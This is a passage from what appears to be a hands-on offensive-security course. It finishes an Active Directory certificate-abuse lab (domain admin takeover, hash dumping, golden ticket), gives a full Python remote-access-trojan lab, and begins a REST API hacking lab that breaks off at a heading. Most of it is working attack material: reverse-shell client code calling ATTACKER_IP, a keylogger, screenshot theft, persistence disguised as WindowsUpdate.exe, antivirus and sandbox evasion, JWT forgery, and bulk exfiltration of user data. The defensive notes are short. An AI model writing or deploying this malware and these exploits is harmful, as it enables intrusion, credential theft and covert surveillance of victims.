# You have low-privilege domain credentials: # Username: corp\\lowpriv # Password: Welcome123 # From Windows attack machine: # Or from Linux with evil-winrm, impacket, etc. # Enumerate ADCS: # Tool: Certify.exe (https://github.com/GhostPack/Certify) # Download Certify: # https://github.com/GhostPack/Certify/releases # Run Certify (enumerate vulnerable templates): .\\Certify.exe find /vulnerable # Output: # [*] Action: Find certificate templates # [*] Using current user's unrolled group SIDs for vulnerability checks. # [*] Using the search base 'CN=Configuration,DC=corp,DC=com' # # [*] Listing info about the Enterprise CA 'corp-DC-CA' # # Enterprise CA Name : corp-DC-CA # DNS Hostname : DC.corp.com # FullName : DC.corp.com\\corp-DC-CA # Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED # Cert SubjectName : CN=corp-DC-CA, DC=corp, DC=com # Cert Thumbprint : 1234567890ABCDEF... # Cert Serial : 123456789 # Cert Start Date : 1/1/2024 12:00:00 AM # Cert End Date : 1/1/2029 12:00:00 AM # # [!] Vulnerable Certificates Templates : # # CA Name : DC.corp.com\\corp-DC-CA # Template Name : UserTemplate # Schema Version : 2 # Validity Period : 1 year # Renewal Period : 6 weeks # msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT # mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS # Authorized Signatures Required: 0 # pkiextendedkeyusage : Client Authentication # Permissions # Enrollment Permissions # Enrollment Rights : CORP\\Domain Users # # [!] ESC1 VULNERABILITY DETECTED! # # Template allows: # • Domain Users can enroll # • ENROLLEE_SUPPLIES_SUBJECT (requester controls Subject Alternative Name) # • Client Authentication EKU (can authenticate as any user) # # This allows ANY domain user to request certificate as ANY user (including Domain Admin!) # ESC1 = Enrollee Supplies Subject + Client Auth EKU

Step 2: Request Certificate as Domain Admin

# Use Certify to request certificate: # Request cert as "Administrator" (Domain Admin): .\\Certify.exe request /ca:DC.corp.com\\corp-DC-CA /template:UserTemplate /altname:Administrator # Output: # [*] Action: Request a Certificates # [*] Current user context : CORP\\lowpriv # [*] No subject name specified, using current context as subject. # # [*] Template : UserTemplate # [*] Subject : CN=lowpriv, CN=Users, DC=corp, DC=com # [*] AltName : Administrator # # [*] Certificate Authority : DC.corp.com\\corp-DC-CA # # [*] CA Response : The certificate had been issued. # [*] Request ID : 123 # # [*] cert.pem : # -----BEGIN RSA PRIVATE KEY----- # MIIEpAIBAAKCAQEA4Z... # -----END RSA PRIVATE KEY----- # -----BEGIN CERTIFICATE----- # MIIGHjCCBQagAwIBAgITEgAAAA... # -----END CERTIFICATE----- # # [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx # Save output to cert.pem # Convert to PFX: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx # Enter password: password123 # We now have admin.pfx certificate for "Administrator" user!

Step 3: Authenticate as Domain Admin (Rubeus)

# Use Rubeus to request TGT with certificate: # Tool: Rubeus.exe (https://github.com/GhostPack/Rubeus) # Request TGT using certificate: .\\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:password123 /nowrap # Output: # [*] Action: Ask TGT # # [*] Using PKINIT with etype rc4_hmac and subject: CN=lowpriv, CN=Users, DC=corp, DC=com # [*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.com\\Administrator' # [+] TGT request successful! # [*] base64(ticket.kirbi): # # doIFujCCBbagAwIBBaEDAgEWooIEvjCCBLphggS2MIIEsqADAgEFoQwbCkNPUlAuQ09NoiUw # I6ADAgECoRwwGhsGa3JidGd0GxBDT1JQLkNPTaOCBGQwggRgoAMCARKhAwIBAqKCBFIEggRO # ... (very long base64 blob) ... # # [+] Ticket successfully imported! # Copy the base64 TGT # Import into current session: .\\Rubeus.exe ptt /ticket:[BASE64_TGT] # Output: # [*] Action: Import Ticket # [+] Ticket successfully imported! # Verify: klist # Output: # Current LogonId is 0:0x3e7 # # Cached Tickets: (1) # # #0> Client: Administrator @ CORP.COM # Server: krbtgt/CORP.COM @ CORP.COM # KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 # Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize # Start Time: 1/9/2026 10:00:00 (local) # End Time: 1/9/2026 20:00:00 (local) # Renew Time: 1/16/2026 10:00:00 (local) # Session Key Type: AES-256-CTS-HMAC-SHA1-96 # Cache Flags: 0x1 -> PRIMARY # We are now "Administrator"!

Step 4: Domain Takeover

# With Domain Admin TGT, we can do ANYTHING: # List domain admins: net group "Domain Admins" /domain # Output: # Administrator # DA_User1 # DA_User2 # Access Domain Controller: dir \\\\DC.corp.com\\C$ # Output: # Volume in drive \\\\DC.corp.com\\C$ is Windows # Directory of \\\\DC.corp.com\\C$ # # 01/01/2024 12:00 AM Program Files # 01/01/2024 12:00 AM Users # 01/01/2024 12:00 AM Windows # ... # Access works! # DCSync (dump all domain hashes): # Tool: Mimikatz or Impacket secretsdump # From Linux: impacket-secretsdump -k -no-pass corp.com/Administrator@DC.corp.com # Output: # [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash) # [*] Using the DRSUAPI method to get NTDS.DIT secrets # Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: # Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: # krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3a5c3b2e1f4g5h6i7j8k9l0m1n2o3p4::: # DA_User1:1104:aad3b435b51404eeaad3b435b51404ee:58a52d27c84a2f6c78b9c3d4e5f6a7b8::: # ... # All domain hashes dumped! # Create Golden Ticket (persistent domain admin): # From Windows with Mimikatz: mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.com /sid:S-1-5-21-123456789-987654321-111111111 /krbtgt:d3a5c3b2e1f4g5h6i7j8k9l0m1n2o3p4 /id:500 /ptt # Golden Ticket injected! # Valid for 10 years # Survives password changes # Backdoor access to domain forever!

Step 5: Defense & Remediation

# How companies defend against ADCS attacks: # 1. Fix vulnerable templates: # • Remove "ENROLLEE_SUPPLIES_SUBJECT" flag # • Require manager approval # • Require authorized signatures # • Restrict enrollment rights # Remediation for UserTemplate: # - Open Certificate Templates Console # - Edit "UserTemplate" # - Subject Name tab → Uncheck "Supply in the request" # - Security tab → Remove "Domain Users" enrollment rights # 2. Enable certificate auditing: # • Event ID 4886 (certificate requested) # • Event ID 4887 (certificate issued) # • Monitor for unusual SAN values # 3. Patch other ESC vulnerabilities: # • ESC2: Any Purpose EKU # • ESC3: Enrollment Agent templates # • ESC4: Vulnerable template ACLs # • ESC5: Vulnerable CA ACLs # • ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 flag # • ESC7: Vulnerable CA permissions # • ESC8: NTLM relay to ADCS HTTP endpoints # 4. Detection: # • Certutil to enumerate templates: certutil -v -template > templates.txt # • PowerShell: Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com" -Filter * -Properties * # • Tools: # - Certify.exe find /vulnerable # - PSPKIAudit.ps1 # - ADCSTemplate PowerShell module # 5. Monitoring: # • Alert on Event ID 4886 + unusual Subject Alternative Names # • Monitor for Certify.exe, Rubeus.exe execution # • Detect PKINIT authentication (Event ID 4768 with certificate)

💡 Lab 10 Key Takeaways

ADCS ESC1 attack chain:
1. Enumerate: Use Certify.exe to find vulnerable templates
2. ESC1 criteria: ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU + Domain Users enrollment
3. Request cert: Specify SAN as Domain Admin (Certify.exe request)
4. Convert cert: PEM → PFX with openssl
5. Authenticate: Use Rubeus.exe asktgt with certificate (PKINIT)
6. Import TGT: Rubeus.exe ptt to inject ticket
7. DCSync: Dump all domain hashes with Domain Admin access
8. Golden Ticket: Create persistent backdoor with krbtgt hash

Why ADCS attacks are powerful:
• Certificates = alternate authentication method
• Less monitored than password attacks
• Bypass MFA (certificate satisfies "something you have")
• Misconfigured templates = instant DA
• Hard to detect without proper auditing

Other ADCS vulnerabilities (ESC2-ESC8):
• ESC2: Any Purpose EKU allows impersonation
• ESC3: Enrollment Agent can request certs for others
• ESC4: Vulnerable ACLs allow template modification
• ESC6: EDITF flag allows arbitrary SANs
• ESC8: NTLM relay to ADCS web enrollment

Resources:
• SpecterOps blog: "Certified Pre-Owned" whitepaper
• Tool: Certify.exe (enumerate + exploit)
• Tool: Certipy (Python alternative for Linux)
• Defense: Microsoft ADCS security baseline

ADCS is THE most overlooked AD attack path in 2026. Check EVERY engagement! 🎫🔐

Lab 11: Complete Python Malware Development (RAT Creation)

Scenario: You need a custom Remote Access Trojan (RAT) for a red team engagement. Your mission: develop a Python-based RAT with command execution, file transfer, keylogging, screenshot capture, persistence, and AV evasion. This lab teaches malware development fundamentals, socket programming, Windows API usage, and evasion techniques—critical for advanced red teaming!

Step 1: Basic RAT Architecture

# RAT components: # 1. Server (attacker machine) - receives connections # 2. Client (victim machine) - connects back to server # Client connects to server → establishes reverse shell # Server sends commands → client executes → sends output back # Why reverse shell instead of bind shell? # • Victim initiates connection (bypasses incoming firewall rules) # • NAT traversal (works from internal networks) # • More stealthy (outbound traffic less monitored) # Tech stack: # • Python 3 (cross-platform) # • socket module (networking) # • subprocess (command execution) # • pyautogui (screenshots) # • pynput (keylogging) # • pyinstaller (compile to EXE) # • Base64 (data encoding) # • AES encryption (traffic encryption)

Step 2: Simple Reverse Shell (Foundation)

# client.py (runs on victim): import socket import subprocess import os SERVER_IP = "ATTACKER_IP" SERVER_PORT = 4444 def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_IP, SERVER_PORT)) while True: # Receive command command = s.recv(1024).decode() if command.lower() == "exit": break if command.lower() == "": continue # Execute command output = subprocess.getoutput(command) # Send output back s.send(output.encode()) s.close() if __name__ == "__main__": connect() # server.py (runs on attacker): import socket def start_server(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("0.0.0.0", 4444)) server.listen(1) print("[*] Listening on port 4444...") client_socket, client_address = server.accept() print(f"[+] Connection from {client_address}") while True: command = input("Shell> ") if command.lower() == "exit": client_socket.send(command.encode()) break client_socket.send(command.encode()) output = client_socket.recv(4096).decode() print(output) client_socket.close() server.close() if __name__ == "__main__": start_server() # Test: # Terminal 1 (server): python3 server.py # Terminal 2 (client): python3 client.py # # Shell> whoami # Output: user # Shell> pwd # Output: /home/user

Step 3: Advanced Features (File Transfer)

# Enhanced client.py with file operations: import socket import subprocess import os import base64 SERVER_IP = "ATTACKER_IP" SERVER_PORT = 4444 def execute_command(command): try: return subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) except: return b"Command execution failed" def download_file(filename): # Client downloads file FROM victim try: with open(filename, "rb") as f: data = f.read() # Base64 encode to safely send binary data encoded = base64.b64encode(data) return b"[FILE_START]" + encoded + b"[FILE_END]" except: return b"File not found" def upload_file(filename, data): # Client uploads file TO victim try: decoded = base64.b64decode(data) with open(filename, "wb") as f: f.write(decoded) return b"File uploaded successfully" except: return b"File upload failed" def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_IP, SERVER_PORT)) while True: command = s.recv(4096).decode() if command.lower() == "exit": break # File download: download /path/to/file if command.startswith("download "): filename = command.split(" ", 1)[1] output = download_file(filename) # File upload: upload /path/to/file [BASE64_DATA] elif command.startswith("upload "): parts = command.split(" ", 2) filename = parts[1] data = parts[2] output = upload_file(filename, data) # Change directory: cd /path elif command.startswith("cd "): try: os.chdir(command.split(" ", 1)[1]) output = f"Changed directory to: {os.getcwd()}".encode() except: output = b"Directory change failed" # Regular command else: output = execute_command(command) # Send output s.send(output) s.close() if __name__ == "__main__": connect() # Enhanced server.py: import socket import base64 def handle_download(client_socket, data): # Extract file data from response start = data.find(b"[FILE_START]") + len(b"[FILE_START]") end = data.find(b"[FILE_END]") if start != -1 and end != -1: encoded_data = data[start:end] decoded_data = base64.b64decode(encoded_data) # Save file filename = input("Save as: ") with open(filename, "wb") as f: f.write(decoded_data) print(f"[+] File saved to: {filename}") def start_server(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("0.0.0.0", 4444)) server.listen(1) print("[*] Listening on port 4444...") client_socket, client_address = server.accept() print(f"[+] Connection from {client_address}") while True: command = input("RAT> ") if command.lower() == "exit": client_socket.send(command.encode()) break # Send command client_socket.send(command.encode()) # Receive output output = client_socket.recv(409600) # 400KB buffer for files # Handle file download if b"[FILE_START]" in output: handle_download(client_socket, output) else: print(output.decode(errors='ignore')) client_socket.close() server.close() if __name__ == "__main__": start_server() # Usage: # RAT> download C:\\Users\\victim\\passwords.txt # Save as: passwords.txt # [+] File saved to: passwords.txt

Step 4: Persistence Mechanisms

# Add persistence to client.py: import winreg # Windows Registry import shutil import sys def install_persistence(): # Copy to AppData try: exe_path = sys.executable if getattr(sys, 'frozen', False) else __file__ target_path = os.path.join(os.getenv('APPDATA'), 'WindowsUpdate.exe') if not os.path.exists(target_path): shutil.copy(exe_path, target_path) # Add to registry (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) key = winreg.OpenKey( winreg.HKEY_CURRENT_USER, r"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE ) winreg.SetValueEx(key, "WindowsUpdate", 0, winreg.REG_SZ, target_path) winreg.CloseKey(key) return True except: return False def connect(): # Install persistence on first run install_persistence() # Rest of RAT code... while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_IP, SERVER_PORT)) # RAT loop... except: # Reconnect every 60 seconds if connection fails import time time.sleep(60) continue # Now RAT: # 1. Copies itself to C:\\Users\\User\\AppData\\Roaming\\WindowsUpdate.exe # 2. Adds registry key to run on startup # 3. Automatically reconnects if connection lost # 4. Survives reboots!

Step 5: Keylogger & Screenshot Capture

# Install dependencies: # pip install pynput pyautogui pillow # Add to client.py: from pynput import keyboard import pyautogui from PIL import Image import io import threading # Global keylogger buffer keylog_buffer = [] def on_key_press(key): global keylog_buffer try: keylog_buffer.append(key.char) except AttributeError: # Special keys (space, enter, etc.) keylog_buffer.append(f'[{key}]') def start_keylogger(): listener = keyboard.Listener(on_press=on_key_press) listener.start() def capture_screenshot(): # Take screenshot screenshot = pyautogui.screenshot() # Convert to bytes img_buffer = io.BytesIO() screenshot.save(img_buffer, format='PNG') img_data = img_buffer.getvalue() # Base64 encode encoded = base64.b64encode(img_data) return b"[SCREENSHOT_START]" + encoded + b"[SCREENSHOT_END]" def connect(): # Start keylogger in background thread threading.Thread(target=start_keylogger, daemon=True).start() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_IP, SERVER_PORT)) while True: command = s.recv(4096).decode() # Get keylog if command.lower() == "getkeylog": global keylog_buffer output = ''.join(keylog_buffer).encode() keylog_buffer = [] # Clear buffer # Screenshot elif command.lower() == "screenshot": output = capture_screenshot() # ... other commands ... s.send(output) # Server receives screenshot: def handle_screenshot(data): start = data.find(b"[SCREENSHOT_START]") + len(b"[SCREENSHOT_START]") end = data.find(b"[SCREENSHOT_END]") encoded_data = data[start:end] decoded_data = base64.b64decode(encoded_data) filename = f"screenshot_{int(time.time())}.png" with open(filename, "wb") as f: f.write(decoded_data) print(f"[+] Screenshot saved to: {filename}")

Step 6: Encryption & AV Evasion

# Add AES encryption to traffic: # pip install pycryptodome from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Random import get_random_bytes import hashlib # Shared secret key (hardcoded or derived) SECRET_KEY = b"MySecretKey12345" # 16 bytes for AES-128 def derive_key(password): return hashlib.sha256(password).digest()[:16] AES_KEY = derive_key(SECRET_KEY) def encrypt_data(data): cipher = AES.new(AES_KEY, AES.MODE_CBC) encrypted = cipher.encrypt(pad(data, AES.block_size)) return cipher.iv + encrypted # Prepend IV def decrypt_data(data): iv = data[:16] ciphertext = data[16:] cipher = AES.new(AES_KEY, AES.MODE_CBC, iv) return unpad(cipher.decrypt(ciphertext), AES.block_size) # Modify send/receive: def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_IP, SERVER_PORT)) while True: # Receive and decrypt encrypted_command = s.recv(4096) command = decrypt_data(encrypted_command).decode() # Execute command output = execute_command(command) # Encrypt and send encrypted_output = encrypt_data(output) s.send(encrypted_output) # Now all traffic is AES encrypted! # IDS/IPS can't read commands or exfiltrated data # Additional evasion techniques: # 1. Obfuscate strings: import base64 SERVER_IP = base64.b64decode("MTkyLjE2OC4xLjEw").decode() # 192.168.1.10 SERVER_PORT = int(base64.b64decode("NDQ0NA==").decode()) # 4444 # 2. Sleep before execution (sandbox evasion): import time time.sleep(60) # Sleep 60s (sandboxes timeout after 30-60s) # 3. Check for VM/debugger: def is_vm(): # Check for VMware, VirtualBox, QEMU try: with open('/sys/class/dmi/id/product_name', 'r') as f: product = f.read().lower() if 'vmware' in product or 'virtualbox' in product: return True except: pass return False if is_vm(): sys.exit(0) # Exit if running in VM # 4. Anti-analysis: import ctypes def is_debugger_present(): return ctypes.windll.kernel32.IsDebuggerPresent() != 0 if is_debugger_present(): sys.exit(0)

Step 7: Compile to Executable (PyInstaller)

# Install PyInstaller: pip install pyinstaller # Compile client to EXE: pyinstaller --onefile --noconsole --icon=icon.ico client.py # Flags: # --onefile = Single EXE (no dependencies) # --noconsole = No command window (GUI mode) # --icon = Custom icon (looks legitimate) # Output: dist/client.exe # Advanced: Add UPX compression (smaller file size): pyinstaller --onefile --noconsole --upx-dir=/path/to/upx client.py # Result: ~8MB EXE with all features # Test: # Copy client.exe to Windows VM # Run server.py on Kali # Execute client.exe on Windows # RAT connects back! # Bypassing AV: # 1. Code obfuscation: pip install pyarmor # Obfuscate source: pyarmor obfuscate client.py # 2. Encrypt strings with custom function: def xor_encrypt(data, key): return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]) encrypted_ip = xor_encrypt(b"192.168.1.10", b"key") # 3. Load from memory (no disk writes): # Use python -c "exec()" to run from command line without file # 4. Split into multiple files: # client_main.py - main logic # client_utils.py - utilities # client_config.py - configuration # PyInstaller bundles all # 5. Sign executable (appears legitimate): # Use signtool.exe with code signing certificate signtool sign /f certificate.pfx /p password /t http://timestamp.digicert.com client.exe

Step 8: C2 Server (Multi-Client Support)

# Enhanced server with multiple client support: import socket import threading import time clients = [] # List of connected clients def handle_client(client_socket, client_address): print(f"[+] New connection from {client_address}") clients.append({'socket': client_socket, 'address': client_address}) try: while True: time.sleep(0.1) # Keep connection alive except: clients.remove({'socket': client_socket, 'address': client_address}) print(f"[-] Connection lost from {client_address}") def list_clients(): print("\\n[*] Connected clients:") for idx, client in enumerate(clients): print(f"{idx}: {client['address']}") def interact_with_client(client_idx): if client_idx >= len(clients): print("[-] Invalid client index") return client = clients[client_idx] print(f"[*] Interacting with {client['address']}") while True: command = input(f"RAT[{client['address']}]> ") if command.lower() == "back": break if command.lower() == "exit": client['socket'].send(command.encode()) client['socket'].close() clients.remove(client) break # Send command encrypted_command = encrypt_data(command.encode()) client['socket'].send(encrypted_command) # Receive response encrypted_output = client['socket'].recv(409600) output = decrypt_data(encrypted_output) print(output.decode(errors='ignore')) def start_server(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("0.0.0.0", 4444)) server.listen(5) print("[*] C2 Server started on port 4444") print("[*] Waiting for connections...") # Accept connections in background thread def accept_connections(): while True: client_socket, client_address = server.accept() threading.Thread( target=handle_client, args=(client_socket, client_address), daemon=True ).start() threading.Thread(target=accept_connections, daemon=True).start() # Main command loop while True: command = input("C2> ") if command.lower() == "list": list_clients() elif command.startswith("interact "): try: client_idx = int(command.split()[1]) interact_with_client(client_idx) except: print("[-] Usage: interact ") elif command.lower() == "exit": break if __name__ == "__main__": start_server() # Usage: # C2> list # [*] Connected clients: # 0: ('192.168.1.100', 49152) # 1: ('192.168.1.101', 49153) # # C2> interact 0 # [*] Interacting with ('192.168.1.100', 49152) # RAT[('192.168.1.100', 49152)]> whoami # DESKTOP-ABC123\\victim # RAT[('192.168.1.100', 49152)]> screenshot # [+] Screenshot saved to: screenshot_1704812400.png # RAT[('192.168.1.100', 49152)]> back # # C2> interact 1 # ...

💡 Lab 11 Key Takeaways

Python RAT features implemented:
• Remote command execution
• File upload/download
• Keylogging (pynput)
• Screenshot capture (pyautogui)
• Persistence (registry run key)
• Auto-reconnection
• AES encryption (traffic encryption)
• Multi-client C2 server
• AV evasion (obfuscation, VM detection)
• PyInstaller compilation

Real-world improvements:
• Domain generation algorithm (DGA): Generate C2 domains dynamically
• HTTP/HTTPS tunneling: Use web traffic instead of raw sockets
• Process injection: Inject into legitimate processes
• Token stealing: Steal access tokens for impersonation
• AMSI bypass: Disable Windows Antimalware Scan Interface
• ETW patching: Disable Event Tracing for Windows
• Sleep obfuscation: Encrypt in memory while sleeping
• Indirect syscalls: Bypass userland hooks

Legal warning:
• Creating malware = LEGAL for research/red teaming
• Deploying malware without authorization = ILLEGAL
• Always have written permission and scope
• Test only in isolated environments
• Follow responsible disclosure

Defense:
• EDR solutions (detect process injection, suspicious API calls)
• Network monitoring (detect C2 beaconing patterns)
• Application whitelisting (block unauthorized executables)
• Behavioral analysis (detect keyloggers, screenshot tools)

Malware development is advanced offensive security. Understand how attackers think = better defense! 🐍💀

Lab 12: Complete Web API Exploitation (REST API Hacking)

Scenario: Modern applications use REST APIs for everything. Your mission: enumerate API endpoints, test for IDOR vulnerabilities, exploit broken authentication, achieve unauthorized data access, and escalate to admin privileges. This lab teaches API-specific attacks, JWT token manipulation, GraphQL exploitation, and API security testing—essential for 2026 bug bounties!

Step 1: API Discovery & Enumeration

# Target: https://api.company.com # Common API patterns: # /api/v1/users # /api/v2/products # /rest/customers # /graphql # Tool 1: Discover with Burp Suite # Configure browser proxy → Browse application # Burp intercepts ALL API calls # Tool 2: Discover with directory brute-forcing gobuster dir -u https://api.company.com -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt # Common endpoints: # /api/users # /api/admin # /api/login # /api/register # /api/profile # /api/settings # /api/upload # /api/download # Tool 3: Check for API documentation https://api.company.com/docs https://api.company.com/swagger https://api.company.com/api-docs https://api.company.com/graphql (GraphQL introspection) # Swagger/OpenAPI = GOLDMINE # Shows ALL endpoints, parameters, authentication methods! # Example response: # GET /api/v1/users → List all users # GET /api/v1/users/{id} → Get specific user # POST /api/v1/users → Create new user # PUT /api/v1/users/{id} → Update user # DELETE /api/v1/users/{id} → Delete user # Test endpoint: curl https://api.company.com/api/v1/users # Response: # {"error": "Authentication required"} # Authentication methods discovered: # 1. JWT tokens (Header: Authorization: Bearer TOKEN) # 2. API keys (Header: X-API-Key: KEY) # 3. Basic Auth (Header: Authorization: Basic BASE64) # 4. Session cookies

Step 2: Authentication Bypass & Token Manipulation

# Register normal user: curl -X POST https://api.company.com/api/v1/register \\ -H "Content-Type: application/json" \\ -d '{"username":"attacker","email":"attacker@evil.com","password":"Password123"}' # Response: # {"message": "User created", "user_id": 1337} # Login: curl -X POST https://api.company.com/api/v1/login \\ -H "Content-Type: application/json" \\ -d '{"username":"attacker","password":"Password123"}' # Response: # { # "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoidXNlciIsImV4cCI6MTcwNDgxMjQwMH0.abc123", # "user": {"id": 1337, "username": "attacker", "role": "user"} # } # JWT Token structure: # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← Header (algorithm: HS256) # .eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoidXNlciIsImV4cCI6MTcwNDgxMjQwMH0 ← Payload (user_id: 1337, role: user) # .abc123 ← Signature # Decode JWT at: https://jwt.io # Decoded header: # {"alg": "HS256", "typ": "JWT"} # Decoded payload: # {"user_id": 1337, "role": "user", "exp": 1704812400} # Attack 1: Algorithm confusion (alg: none) # Change header: {"alg": "none", "typ": "JWT"} # Remove signature # Encode: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MDQ4MTI0MDB9. # Test: curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MDQ4MTI0MDB9." \\ https://api.company.com/api/v1/admin/users # If accepted = admin access! # Attack 2: Weak secret brute-forcing # Tool: jwt_tool git clone https://github.com/ticarpi/jwt_tool cd jwt_tool # Crack secret: python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt # If secret found (e.g., "secret123"): # Forge new token with role: admin python3 jwt_tool.py TOKEN -I -pc role -pv admin -S hs256 -p secret123 # Attack 3: Key confusion (RS256 → HS256) # If server uses RS256 (asymmetric): # - Public key verifies signature # - Private key creates signature # Confusion attack: # Change alg to HS256 (symmetric) # Sign with public key (treating it as secret) # Server verifies with public key → accepts! # Tool: jwt_tool python3 jwt_tool.py TOKEN -X k -pk public.pem

Step 3: IDOR (Insecure Direct Object Reference)

# Access your own profile: curl -H "Authorization: Bearer TOKEN" \\ https://api.company.com/api/v1/users/1337 # Response: # { # "id": 1337, # "username": "attacker", # "email": "attacker@evil.com", # "role": "user", # "credit_card": "XXXX-XXXX-XXXX-1234" # } # Try accessing other users (IDOR test): curl -H "Authorization: Bearer TOKEN" \\ https://api.company.com/api/v1/users/1 # Response: # { # "id": 1, # "username": "admin", # "email": "admin@company.com", # "role": "admin", # "credit_card": "4532-1234-5678-9012" ← IDOR vulnerability! # } # Enumerate all users: for i in {1..1000}; do curl -s -H "Authorization: Bearer TOKEN" \\ https://api.company.com/api/v1/users/$i | jq . done # Automated IDOR testing tool: # Tool: Autorize (Burp Suite extension) # 1. Install Autorize from BApp Store # 2. Configure low-priv token # 3. Browse as admin # 4. Autorize replays requests with low-priv token # 5. Highlights authorization bypass! # Mass data exfiltration: # Extract all user data to file for i in {1..10000}; do curl -s -H "Authorization: Bearer TOKEN" \\ https://api.company.com/api/v1/users/$i >> users_data.json done # Parse sensitive data: cat users_data.json | jq -r '.email, .credit_card' | grep -v null > leaked_data.txt # Result: 10,000 user emails + credit cards exfiltrated!

Step 4: GraphQL Exploitation

# GraphQL = Query language for APIs # Endpoint: https://api.company.com/graphql # Introspection query (enumerate schema): curl -X POST https://api.company.com/graphql \\ -H "Content-Type: application/json" \\ -d '{"query":"{ __schema { types { name } } }"}' # Response shows all types: # User, Product, Order, Admin, Secret # Get full schema: curl -X POST https://api.company.com/graphql \\ -H "Content-Type: application/json" \\ -d '{"query":"{ __schema { queryType { fields { name args { name type { name kind ofType { name } } } type { name kind ofType { name } } } } } }"}' # Tool: GraphQL Voyager (visualize schema) # https://graphql-kit.com/graphql-voyager/ # Query all users: curl -X POST https://api.company.com/graphql \\ -H "Content-Type: application/json" \\ -H "Authorization: Bearer TOKEN" \\ -d '{ "query": "{ users { id username email role secretApiKey } }" }' # Response: # { # "data": { # "users": [ # {"id": 1, "username": "admin", "email": "admin@company.com", "role": "admin", "secretApiKey": "sk_live_abc123"}, # {"id": 1337, "username": "attacker", "email": "attacker@evil.com", "role": "user", "secretApiKey": "sk_live_xyz789"} # ] # } # } # Leaked: Admin API key! # GraphQL batching attack (bypass rate limiting): curl -X POST https://api.company.com/graphql \\ -H "Content-Type: application/json" \\ -d '[ {"query": "{ user(id: 1) { email } }"}, {"query": "{ user(id: 2) { email } }"}, {"query": "{ user(id: 3) { email } }"}, ... (repeat 1000 times) ]' # Single request = 1000 queries! # Bypasses rate limiting (only 1 HTTP request) # GraphQL injection: # Query with variable: curl -X POST https://api.company.com/graphql \\ -d '{ "query": "query($id: Int!) { user(id: $id) { username } }", "variables": {"id": "1 OR 1=1"} }' # If vulnerable to SQLi → all users dumped!

Step 5: API Rate Limiting Bypass

# APIs often have rate limits: # "429 Too Many Requests" after X requests # Bypass techniques: # 1. Change IP (use proxies/VPN) curl -x http://proxy1.com:8080 https://api.company.com/api/v1/users/1 curl -x http://proxy2.com:8080 https://api.company.com/api/v1/users/2 # 2. Rotate User-Agent curl -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" https://api.company.com/api/v1/users/1 curl -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)" https://api.company.com/api/v1/users/2 # 3. Use different authentication tokens # Create multiple accounts → rotate tokens # 4. Change request format # If rate limit on /api/v1/users/1 # Try: /api/v1/users/1.json # Try: /api/v1/users/1?format=json # Try: /api/v2/users/1 # 5. Add trailing slash # /api/v1/users/1 (rate limited) # /api/v1/users/1/ (not rate limited!) # 6. Change HTTP method # GET /api/v1/users/1 (rate limited) # POST /api/v1/users/1 (not rate limited!) # 7. Add random parameters # /api/v1/users/1?cachebuster=123 # /api/v1/users/1?cachebuster=456 # 8. GraphQL batching (see previous section) # Automated tool: # ffuf with wordlist of techniques ffuf -w rate_limit_bypass.txt -u https://api.company.com/api/v1/users/FUZZ -H "Authorization: Bearer TOKEN"

Step 6: Complete Compromise

